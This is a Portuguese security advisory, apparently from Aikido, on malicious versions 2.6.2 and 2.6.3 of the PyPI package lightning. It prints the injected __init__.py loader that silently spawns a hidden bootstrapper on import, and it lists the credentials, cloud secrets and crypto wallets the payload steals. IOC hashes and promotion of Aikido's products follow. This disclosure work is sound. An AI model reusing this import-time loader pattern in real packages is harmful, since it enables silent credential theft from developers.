A campanha de supply chain Mini Shai-Hulud se espalhou para o PyPI. Versões 2.6.2 e 2.6.3 do popular lightning pacote Python, amplamente utilizado para treinar modelos PyTorch, contém código malicioso que exfiltra silenciosamente credenciais de desenvolvedores, Secrets da Cloud e carteiras de criptomoedas.
Isso ocorre após dois ataques recentes na mesma campanha: o comprometimento do Bitwarden CLI npm e o comprometimento do SAP npm. O mesmo atacante, o mesmo worm, agora migrando do npm para o PyPI.
Se você estiver usando lightning==2.6.2 ou lightning==2.6.3, trate sua máquina como comprometida.
Como funciona
O ataque é injetado diretamente em __init__.py, o arquivo que é executado no momento em que você importa o pacote. Uma thread em segundo plano é iniciada antes que qualquer código legítimo do Lightning seja carregado:
def _run_runtime() -> None:
_runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime")
_start = os.path.join(_runtime_dir, "start.py")
if os.path.exists(_start):
subprocess.Popen(
[sys.executable, _start],
cwd=_runtime_dir,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
threading.Thread(target=_run_runtime, daemon=True).start()Ele executa start.py, um bootstrapper Bun multiplataforma que detecta seu sistema operacional e arquitetura, baixa o runtime Bun JavaScript v1.3.13 e executa router_runtime.js, o payload principal de 11 MB. O mesmo padrão usado nos recentes ataques Bitwarden e SAP.
O que ele rouba
Chaves SSH, históricos de shell (bash, zsh, Python, Node, MySQL, psql), .env arquivos, credenciais git, credenciais AWS/GCP/Azure, configurações Kubernetes e Helm, credenciais Docker, tokens npm e configurações MCP. Carteiras de criptomoedas, incluindo Bitcoin, Litecoin, Monero, Dogecoin, Dash, Exodus, Atomic e Ledger. Credenciais VPN para NordVPN, ProtonVPN, CyberGhost, Windscribe e OpenVPN. Dados de sessão Discord e Slack.
Todos os dados roubados são criptografados com RSA-2048 antes de serem exfiltrados para repositórios públicos do GitHub:

Como a Aikido detecta isso
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.
Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Para uma cobertura mais ampla em toda a sua equipe, o Endpoint Protection do Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins de IDE e dependências de build, tudo em um só lugar. Impeça o malware antes que ele seja instalado.
Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.
IOCs
- Pacote:
lightning==2.6.2,lightning==2.6.3 - router_runtime.js
- SHA256:
5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1
- SHA256:
- start.py
- SHA256:
8046a11187c135da6959862ff3846e99ad15462d2ec8a2f77a30ad53ebd5dcf2
- SHA256:

